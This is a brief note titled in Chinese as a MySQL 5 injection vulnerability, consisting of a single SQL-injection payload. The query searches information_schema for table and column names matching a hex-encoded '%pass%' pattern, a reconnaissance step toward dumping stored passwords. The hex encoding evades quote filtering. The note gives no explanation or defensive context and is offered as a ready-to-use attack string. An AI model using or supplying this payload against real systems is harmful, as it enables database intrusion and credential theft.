mysql5 注入漏洞

select concat_ws(0x2f,information_schema.tables.table_schema,`information_schema`.`columns`.table_name,`information_schema`.`columns`.column_name) from `information_schema`.`columns` left join information_schema.tables on `information_schema`.`columns`.table_name=information_schema.tables.table_name where `information_schema`.`columns`.column_name like 0x257061737325 limit 0,1;